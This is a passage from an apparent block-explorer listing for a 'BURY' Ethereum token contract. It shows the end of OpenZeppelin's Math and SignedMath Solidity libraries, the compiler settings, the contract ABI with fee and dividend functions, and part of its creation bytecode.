            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator.
            // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.

            uint256 twos = denominator & (0 - denominator);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also
            // works in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded
     * towards zero.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
        }
    }

    /**
     * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.
     */
    function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
        return uint8(rounding) % 2 == 1;
    }
}

File 20 of 20 : SignedMath.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.20;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

Settings
{
  "remappings": [
    "ds-test/=lib/forge-std/lib/ds-test/src/",
    "forge-std/=lib/forge-std/src/",
    "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    "@uniswap/v2-core/contracts/=lib/v2-core/contracts/",
    "@uniswap/v2-periphery/contracts/=lib/v2-periphery/contracts/",
    "@chainlink/contracts/=lib/chainlink/contracts/",
    "chainlink/=lib/chainlink/contracts/",
    "erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    "openzeppelin-contracts/=lib/openzeppelin-contracts/",
    "v2-core/=lib/v2-core/contracts/",
    "v2-periphery/=lib/v2-periphery/contracts/"
  ],
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "metadata": {
    "useLiteralContent": false,
    "bytecodeHash": "ipfs",
    "appendCBOR": true
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "evmVersion": "paris",
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"_KECCAK256_SEED","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"allowance","type":"uint256"}],"name":"AllowanceExceeded","type":"error"},{"inputs":[],"name":"ApprovalFromZero","type":"error"},{"inputs":[],"name":"ApprovalToZero","type":"error"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"balance","type":"uint256"}],"name":"BalanceExceeded","type":"error"},{"inputs":[],"name":"ECDSAInvalidSignature","type":"error"},{"inputs":[{"internalType":"uint256","name":"length","type":"uint256"}],"name":"ECDSAInvalidSignatureLength","type":"error"},{"inputs":[{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"ECDSAInvalidSignatureS","type":"error"},{"inputs":[{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"ERC2612ExpiredSignature","type":"error"},{"inputs":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"address","name":"owner","type":"address"}],"name":"ERC2612InvalidSigner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"currentNonce","type":"uint256"}],"name":"InvalidAccountNonce","type":"error"},{"inputs":[],"name":"InvalidShortString","type":"error"},{"inputs":[],"name":"Keccak256Error","type":"error"},{"inputs":[],"name":"MaxTransfer","type":"error"},{"inputs":[],"name":"MaxWallet","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"string","name":"str","type":"string"}],"name":"StringTooLong","type":"error"},{"inputs":[],"name":"TradingDisabled","type":"error"},{"inputs":[],"name":"TransferFromZero","type":"error"},{"inputs":[],"name":"TransferOfZero","type":"error"},{"inputs":[],"name":"TransferToZero","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"eth","type":"uint256"},{"indexed":false,"internalType":"bool","name":"success","type":"bool"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"ClaimMarketingFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":false,"internalType":"bool","name":"success","type":"bool"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"ClaimRevenueShare","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"DepositRevenueShare","type":"event"},{"anonymous":false,"inputs":[],"name":"EIP712DomainChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"SwapBURYToETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"BURY","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FACTORY","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"NULL_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ORACLE","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PAIR","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ROUTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ZERO_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_INPUT_DECODED","type":"string"},{"internalType":"uint256","name":"_contractETHBalance","type":"uint256"}],"name":"depositETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dividendBalanceTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dividendClaimedTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dividendPerToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dividendShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"eip712Domain","outputs":[{"internalType":"bytes1","name":"fields","type":"bytes1"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"version","type":"string"},{"internalType":"uint256","name":"chainId","type":"uint256"},{"internalType":"address","name":"verifyingContract","type":"address"},{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"uint256[]","name":"extensions","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_INPUT_DECODED","type":"string"},{"internalType":"uint256","name":"_contractTokenBalance","type":"uint256"}],"name":"exchangeBURYToETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getClaimed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getClaimedTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getDividendBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDividendPerToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDividendShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDividendsTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getETHPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getFactory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getLive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMarketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaxTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMinSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOracle","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransferEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oracle","outputs":[{"internalType":"contract AggregatorV3Interface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeMaxTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"shareETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"weth","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"weth9","outputs":[{"internalType":"contract IWETH","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

61022060405260046101e0818152634275727960e01b6102005262000025908262000708565b506001600a556200004167016345785d8a0000600019620007d4565b6200004f906000196200080d565b6011556012805462ffffff1916620101001790556002601381905560148190556015819055601681905562000085908062000823565b6017556016546014546200009a919062000823565b601855601454601354620000af919062000823565b601955601654601554620000c4919062000823565b601a55601954601b55336101c052348015620000df57600080fd5b5060405162003ce938038062003ce9833981016040819052620001029162000839565b3360048054620001129062000677565b80601f0160208091040260200160405190810160405280929190818152602001828054620001409062000677565b8015620001915780601f10620001655761010080835404028352916020019162000191565b820191906000526020600020905b8154815290600101906020018083116200017357829003601f168201915b50506040805180820190915260018152603160f81b60208201529250620001be91508390506000620004e2565b61012052620001cf816001620004e2565b61014052815160208084019190912060e052815190820120610100524660a0526200025d60e05161010051604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60208201529081019290925260608201524660808201523060a082015260009060c00160405160208183030381529060405280519060200120905090565b60805250503060c0526001600160a01b0381166200029657604051631e4fbdf760e01b8152600060048201526024015b60405180910390fd5b620002a1816200051b565b50306101a08190526040516364e329cb60e11b8152600481019190915273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26024820152735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9063c9c65396906044016020604051808303816000875af115801562000317573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033d919062000853565b6001600160a01b039081166101808190526101608390523360008181526008602090815260408083208054600160ff1991821681179092556101a05197881680865283862080548316841790559585526009909352818420805484168217905593835280832080548316851790557fbaa441ac52505693dd98c7dd2f5bbf8f9349b7da9de72f9d52e5cac70e7da8ce805483168517905593825292812080548416831790557fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b805484168317905561dead90527f960b1051749987b45b5679007fff577a1c2f763ec21c15a6c5eb19307500378580549092161790556200045c90737a250d5630b4cf539739df2c5dacb4c659f2488d6000196200056d565b6200047f33737a250d5630b4cf539739df2c5dacb4c659f2488d6000196200056d565b601154336000818152600560205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620004d39067016345785d8a0000815260200190565b60405180910390a350620008fb565b60006020835110156200050257620004fa836200061e565b905062000515565b816200050f848262000708565b5060ff90505b92915050565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166200059557604051633ec81b6d60e21b815260040160405180910390fd5b6001600160a01b038216620005bd576040516347242c1560e11b815260040160405180910390fd5b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080829050601f815111156200064c578260405163305a27a960e01b81526004016200028d919062000885565b80516200065982620008d6565b179392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200068c57607f821691505b602082108103620006ad57634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111562000703576000816000526020600020601f850160051c81016020861015620006de5750805b601f850160051c820191505b81811015620006ff57828155600101620006ea565b5050505b505050565b81516001600160401b0381111562000724576200072462000661565b6200073c8162000735845462000677565b84620006b3565b602080601f8311600181146200077457600084156200075b5750858301515b600019600386901b1c1916600185901b178555620006ff565b600085815260208120601f198616915b82811015620007a55788860151825594840194600190910190840162000784565b5085821015620007c45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082620007f257634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052601160045260246000fd5b81810381811115620005155762000515620007f7565b80820180821115620005155762000515620007f7565b6000602082840312156200084c57600080fd5b5051919050565b6000602082840312156200086657600080fd5b81516001600160a01b03811681146200087e57600080fd5b9392505050565b60006020808352835180602085015260005b81811015620008b55785810183015185820160400152820162000897565b506000604082860101526040601f19601f8301168501019250505092915050565b80516020808301519190811015620006ad5760001960209190910360031b1b16919050565b60805160a05160c05160e05161010051610120516101405161016051610180516101a0516101c0516132c662000a23600039600081816104b6015281816107b701528181610fc0015281816111f4015261198d015260008181610b7e015281816111c8015281816116f10152818161172f015281816117750152818161187c01528181611961015281816119c1015281816119e201528181611e2e01528181611e6a01528181611f5101528181611f90015281816121f9015281816122ab015281816125f101526126340152600081816109b701528181610a2e015261167f015260008181610f4c01526111460152600061219d0152600061217001526000611c0201526000611bda01526000611b3501526000611b5f01526000611b8901526132c66000f3fe6080604052600436106103d95760003560e01c80637dc0d1d0116101fb578063c1f1b1b511610117578063eb46260e116100a5578063f2fde38b11610077578063f2fde38b14610bb5578063f887ea40146105df578063f8b45b0514610ba0578063f9e918a114610bd5578063fb8bf61814610bea57005b8063eb46260e14610b21578063eb6715b814610b57578063ebfcd64614610b6c578063ed233ee914610ba057005b8063d505accf116100e9578063d505accf14610a88578063dc07b61714610aa8578063dd62ed3e14610abd578063de0ce17d14610b03578063e2b824dd14610b1957005b8063c1f1b1b514610a1f578063c45a015514610538578063d045a32914610a52578063d49c4c5614610a7257005b806395d89b4111610194578063a9059cbb11610166578063a9059cbb14610985578063ace3a8a7146109a5578063ad5c464814610664578063b0f479a1146109d9578063bb4d023b14610a0057005b806395d89b411461090e5780639ccab6951461093b578063a457c2d714610950578063a607a8d91461097057005b806388cc58e4116101cd57806388cc58e4146108945780638a18bed9146108bb5780638da5cb5b146108db5780638f818b90146108f957005b80637dc0d1d01461061c5780637ecebe0014610825578063833b1fce1461084557806384b0196e1461086c57005b806339509351116102f55780636727299911610283578063719dfc3d11610255578063719dfc3d1461079057806375f0a874146107a557806377ec0feb146107d957806379cc6790146107ef5780637aab98111461080f57005b80636727299914610726578063672f345d1461073b57806370a082311461075b578063715018a61461077b57005b80634ada218b116102c75780634ada218b146106cc57806350879c1c14610664578063538ba4f9146106e657806357b71963146106fb57806359cd90311461071157005b806339509351146106445780633fc8cef31461066457806342966c681461068c5780634634d81c146106ac57005b8063293230b811610372578063313ce56711610344578063313ce5671461058d57806331cece42146105a957806332fe7b26146105df5780633644e5151461060757806338013f021461061c57005b8063293230b8146105235780632dd31000146105385780632e952f9f146105605780632ef5c6d41461057557005b806318160ddd116103ab57806318160ddd1461048c5780631d4e49eb146104a757806323b872dd146104ee578063289af0d81461050e57005b806306fdde03146103e2578063095ea7b31461040d57806309d58ae61461043d5780630fa604e41461046057005b366103e057005b005b3480156103ee57600080fd5b506103f7610bff565b6040516104049190612ccb565b60405180910390f35b34801561041957600080fd5b5061042d610428366004612d01565b610c91565b6040519015158152602001610404565b34801561044957600080fd5b50610452610ca8565b604051908152602001610404565b34801561046c57600080fd5b50610475610cc6565b6040805192151583526020830191909152